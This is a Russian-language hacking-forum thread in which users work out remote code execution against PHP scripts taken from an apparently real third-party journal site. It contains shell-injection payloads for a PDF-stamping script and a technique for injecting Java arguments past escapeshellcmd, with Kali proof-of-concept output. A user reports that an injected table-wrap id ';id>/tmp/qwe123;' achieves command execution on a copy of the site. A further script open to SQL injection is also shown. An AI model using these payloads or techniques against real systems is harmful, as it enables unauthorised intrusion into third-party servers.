• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос об RCE

havarz

RAID-массив
Пользователь
Регистрация
30.01.2025
Сообщения
72
Реакции
3
Есть два скрипта. Первый config.php
PHP:
<?php

$stamp_img_dir = $DOCUMENT_ROOT . "cross/img/";
$from = $_SERVER["DOCUMENT_ROOT"]."upload/pdf/";

$pdf_url_path = "upload/pdfstamp/";
$to = $DOCUMENT_ROOT . $pdf_url_path;

$jar_path = "./pdfstamp.jar";
$timeout = 3;
$backup_path =  $DOCUMENT_ROOT ."upload/backup/";

function addStampedPdf($file, $post="_stamped")
{
    $ret = array();;
    $file_ar = explode(".",$file);
    foreach($file_ar as $idx=>$value)
    {       
        if($idx == count($file_ar) -2){
            $value = $value .$post;   
        }       
        $ret[] = $value;
    }
    
    return implode(".",$ret);
}

Второй такой:
PHP:
<?php
include "./config.php";

$x = $_POST["x"]; // x좌표
$y = $_POST["y"]; // y좌표
$url = $_POST["url"]; // 링크
$dpi = $_POST["dpi"]; // dpi
$pdf_file = $_POST["pdf_file"]; // 파일명
$stamp = $stamp_img_dir.$_POST["stamp"]; // 선택한 스탬프



//ex) java -jar pdfstamp.jar -d 1300 -i ./crossmark.tif -l 545,74 0 -o ./ -u http://jeehp.org -p 1 ./jeehp-3-2.pdf
$command = "java -jar $jar_path -d $dpi -i $stamp -l $x,$y -o $to -u $url -p 1 $from$pdf_file"; // 자바 명령어
$command = escapeshellcmd($command); // ?나 &가 있으므로 escape 해야 제대로 명령어가 실행된다.
shell_exec($command); // 명령어 실행

$pdf_url_path = "/".$pdf_url_path.addStampedPdf($pdf_file); // url 상대경로 맞춘뒤
sleep($timeout); // config.php -> $timeout


header("Location:" .$pdf_url_path); // redirect 한다.
?>

Есть ли тут какая возможность для RCE?

Что-то подобное из этого:
x=100&y=100&stamp=legit.tif&dpi=72&url=valid&pdf_file=";id>/tmp/exploit;
pdf_file=x$(printf 'id>/tmp/exploit')
pdf_file=xxx${IFS}id${IFS}>/tmp/exploit
pdf_file=$'\x69\x64\x3e\x2f\x74\x6d\x70\x2f\x65\x78\x70\x6c\x6f\x69\x74'"

не работает.
 
escapeshellcmd нам сильно мешает но он не экранирует "-" а знаит мы можем добавлять новые параметры к запуску java, если хорошо почитать доки можно нарыть интересные параметры коотрые приведут к эксплуатации.
Вот простой POC:

PHP:
<?php
$dpi = $argv[1];
$command = "java -jar params -entrypoint $dpi -other --params";
$command = escapeshellcmd($command);
echo $command;

Код:
┌──(kali㉿kali)-[~/Desktop]
└─$ php 11.php 'asd --list-modules'
java -jar params -entrypoint asd --list-modules -other --params

Учитывая что escapeshellcmd так же не дает нам использовать кавычки больнишство параметров отлетают. Но с учетом того что у тебя есть загрузка файла, ты можешь загрузить класс и вызвать его если знаешь к нему путь, потому как слэши не экранируются

Код:
┌──(kali㉿kali)-[~/Desktop]
└─$ php 11.php 'asd -jar /var/www/html/upload/asdf.pdf'
java -jar params -entrypoint asd -jar /var/www/html/upload/asdf.pdf -other --params

Я не знаю как поведет себя java с дублем параметров, нет времени проверять и глубоко ресерчить, так предлагаю теоретически)
 
escapeshellcmd нам сильно мешает но он не экранирует "-" а знаит мы можем добавлять новые параметры к запуску java, если хорошо почитать доки можно нарыть интересные параметры коотрые приведут к эксплуатации.
Вот простой POC:

PHP:
<?php
$dpi = $argv[1];
$command = "java -jar params -entrypoint $dpi -other --params";
$command = escapeshellcmd($command);
echo $command;

Код:
┌──(kali㉿kali)-[~/Desktop]
└─$ php 11.php 'asd --list-modules'
java -jar params -entrypoint asd --list-modules -other --params

Учитывая что escapeshellcmd так же не дает нам использовать кавычки больнишство параметров отлетают. Но с учетом того что у тебя есть загрузка файла, ты можешь загрузить класс и вызвать его если знаешь к нему путь, потому как слэши не экранируются

Код:
┌──(kali㉿kali)-[~/Desktop]
└─$ php 11.php 'asd -jar /var/www/html/upload/asdf.pdf'
java -jar params -entrypoint asd -jar /var/www/html/upload/asdf.pdf -other --params

Я не знаю как поведет себя java с дублем параметров, нет времени проверять и глубоко ресерчить, так предлагаю теоретически)
Погрузился в мануалы. Изучаю... Спасибо за столь расширенный ответ.
 
Нашел у них другой скрипт:
PHP:
<?
    header('Content-Type: text/html; charset=UTF-8');
   
    $xmlFile = ($_GET['xml'] ? $_GET['xml'] : $_POST['xml']);
   
    echo "<div>{$xmlFile}</div>";
   
    $xmlPath = $_SERVER['DOCUMENT_ROOT'] . '../xmls/' . $xmlFile;
    $htmlPath = $_SERVER['DOCUMENT_ROOT'] . '/util/table2image/html/';
    $thumbPath = $_SERVER['DOCUMENT_ROOT'] . '/upload/thumbnails/';
    $urlPath = "http://" . $_SERVER['HTTP_HOST'] . "/util/table2image/html/";

    $xml = file_get_contents($xmlPath);

    $res = eSubString($xml, "/<table-wrap id=/", "/<\/table-wrap>/");

    foreach ($res as $r) {
        $r = "<table-wrap id=$r</table-wrap>";
       
        $id = eSubString($r, '/<table-wrap id=["\']/', '/["\']/');
        $id = $id[0];
       
        $r = eSubString($r, '/<table /', '/<\/table>/');
        $r = '<html><style>
    * {background-color:#fff;font-size:13px;font-weight:normal;font-family:georgia,serif;}
    table {border-collapse: collapse; border-spacing: 0; border-width:1px 1px 1px 1px; border-style: solid; border-color: black;}
    table * {margin:0; padding:0;}
    table th,table td {padding:3px; border-width:1px 1px 1px 1px; border-style: solid; border-color: black;}
    table thead,table th,table th * {background: #DDEEFF; font-weight: bold;}
</style><body><table ' . $r[0] . '</table></body></html>';
       
        file_put_contents($htmlPath.$id.'.html', $r);
        exec("java -jar WebVector-3.3.jar {$urlPath}{$id}.html {$thumbPath}{$id}.png png", $ret);
if(file_exists("{$thumbPath}{$id}.png") && $pngSize = number_format(filesize("{$thumbPath}{$id}.png"))) {
/** PNG margin cutting start **/
        $srcImg = imagecreatefrompng("{$thumbPath}{$id}.png");
        $y = 1;
        $x = 20;
        while(imagecolorat($srcImg, $x, $y) && $y < $x) $y++;
        while(!imagecolorat($srcImg, $x, $y)) $x++;
        $width = $x+8;

        $y = 20;
        $x = 1;
        while(imagecolorat($srcImg, $x, $y) && $x < $y) $x++;
        while(!imagecolorat($srcImg, $x, $y)) $y++;
        $height = $y+8;
       
        $dstImg = imagecreatetruecolor($width, $height);
        $bgcolor = imagecolorallocate($dstImg, 0, 0, 0);
        imagecolortransparent($dstImg, $bgcolor);
        imagealphablending($dstImg, false);
        imagesavealpha($dstImg, true);
        imagecopyresampled($dstImg, $srcImg, 0, 0, 0, 0, $width, $height, $width, $height);
        imagepng($dstImg, "{$thumbPath}{$id}.png");
        imagedestroy($dstImg);
/** PNG margin cutting end **/
}

        exec("java -jar WebVector-3.3.jar {$urlPath}{$id}.html {$thumbPath}{$id}.svg svg", $ret);
if(file_exists("{$thumbPath}{$id}.svg") && $svgSize = number_format(filesize("{$thumbPath}{$id}.svg"))) {
/** SVG margin cutting start **/
        $svg = file_get_contents("{$thumbPath}{$id}.svg");
        $svg = explode("\n", $svg);
        preg_match_all("/width=\"([^\"]+)\" height=\"([^\"]+)\"/", $svg[9], $tmp);
        $tWidth = intval($tmp[1][0]) + 16;
        $tHeight = intval($tmp[2][0]) + 16;
        $svg[5] = "          width=\"{$tWidth}\" height=\"{$tHeight}\"";
        $svg[6] = "          viewBox=\"0 0 {$tWidth} {$tHeight}\"";
        $svg[8] = "<rect x=\"0\" y=\"0\" width=\"{$tWidth}\" height=\"{$tHeight}\" style=\"stroke:none;fill-opacity:1;fill:#ffffff\" />";
        $svg = implode("\n", $svg);
        file_put_contents("{$thumbPath}{$id}.svg", $svg);
/** SVG margin cutting end **/
}
         unlink($htmlPath.$id.'.html');

        echo "<div>";
        echo "    <a href=\"/upload/thumbnails/{$id}.png\" target=\"_blank\" onclick=\"window.open(this.href, '_blank', 'width=1000,height=600');return false;\" style=\"color:".($pngSize?'blue':'red')."\">{$id}.png({$pngSize}Bytes)</a>,";
        echo "    <a href=\"/upload/thumbnails/{$id}.svg\" target=\"_blank\" onclick=\"window.open(this.href, '_blank', 'width=1000,height=600');return false;\" style=\"color:".($svgSize?'blue':'red')."\">{$id}.svg({$svgSize}Bytes)</a>";
        echo "</div>";
    }
   
function subString($string, $start, $end, $offset = 0) {
    if(ereg($start, $string) && ereg($end, $string)) {
        $start = strpos($string, $start, $offset) + strlen($start);
        $end = strpos($string, $end, $start) - $start;
        $sub_string = substr($string, $start, $end);
        return $sub_string;
    }
}

function eSubString($string, $start, $end) {
    $sCount = preg_match_all($start, $string, $matches1, 256);
    $eCount = preg_match_all($end,   $string, $matches2, 256);
    $result = array();
    if(!$sCount) {
        return $result;
    } else if($sCount > $eCount) {
        return 'Count error.';
    } else if($sCount > 1) {
        for($i = 0; $i < $sCount; $i++) {
            array_push($result, subString($string, $matches1[0][$i][0], $matches2[0][$i][0], $matches1[0][$i][1]));
        }
    } else {
        array_push($result, subString($string, $matches1[0][0][0], $matches2[0][0][0], $matches1[0][0][1]));
    }
    return $result;
}
?>

Специально качнул WebVector-3.3.jar, чтоб все как там.
На стенде подсунул ему такое:
<table-wrap id=";id>/tmp/qwe123;">
<table>...</table>
</table-wrap>

Сработало!! С кучей warning-ов конечно, но без error.


Еще такой есть:
PHP:
<?php   
    header('Content-Type: text/html; charset=UTF-8');
    ##### ��������� �Լ� ��ũ��Ʈ ��������
    include $DOCUMENT_ROOT . "func/include.function.php";

    ##### ȯ�漳�� ���� ��������
    $cfg_file = $DOCUMENT_ROOT . "func/include.config.php";
    if(!file_exists($cfg_file)) {
        putMessageBack("�������� ������� �����ؼ� ȯ�漳�� ������ ã���� �����ϴ�.\\n\\n�������� ������θ� ������ �� �ֽ��ϴ�.");
    } else {
       include $cfg_file;
    }

    include_once $DOCUMENT_ROOT . "func/include.connect.php";
    
    $table = $_REQUEST["table"];
    $column = $_REQUEST["column"];
    $count = $_REQUEST["count"];
    $condition_column = $_REQUEST["condition_column"];
    $condition_value = $_REQUEST["condition_value"];
    
    if($table == "" || $column == "" || $count == "" || $condition_column == "" || $condition_value == "") {
        exit;
    } else {
        increaseCount($conn, $table, $column, $count, $condition_column, $condition_value);
    }
    
    function increaseCount($conn, $table, $column, $count, $condition_column, $condition_value) {
        
        $query = "update " . $table . " set " . $column . " = if(" . $column . " is null, 1, " . $column . " + " . $count . ") where " . $condition_column . " = ". $condition_value;
        $conn->query($query);

        $month_down = "insert into journal_down_tbl(number, YM, type, count) values(" . $condition_value . ", date_format(now(), '%Y%m'), '" . $column . "', " . $count . ") on duplicate key update count = count + " . $count;
        $conn->query($month_down);
    }
?>
О чем люди думают, когда такое пишут! Не понятно....
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх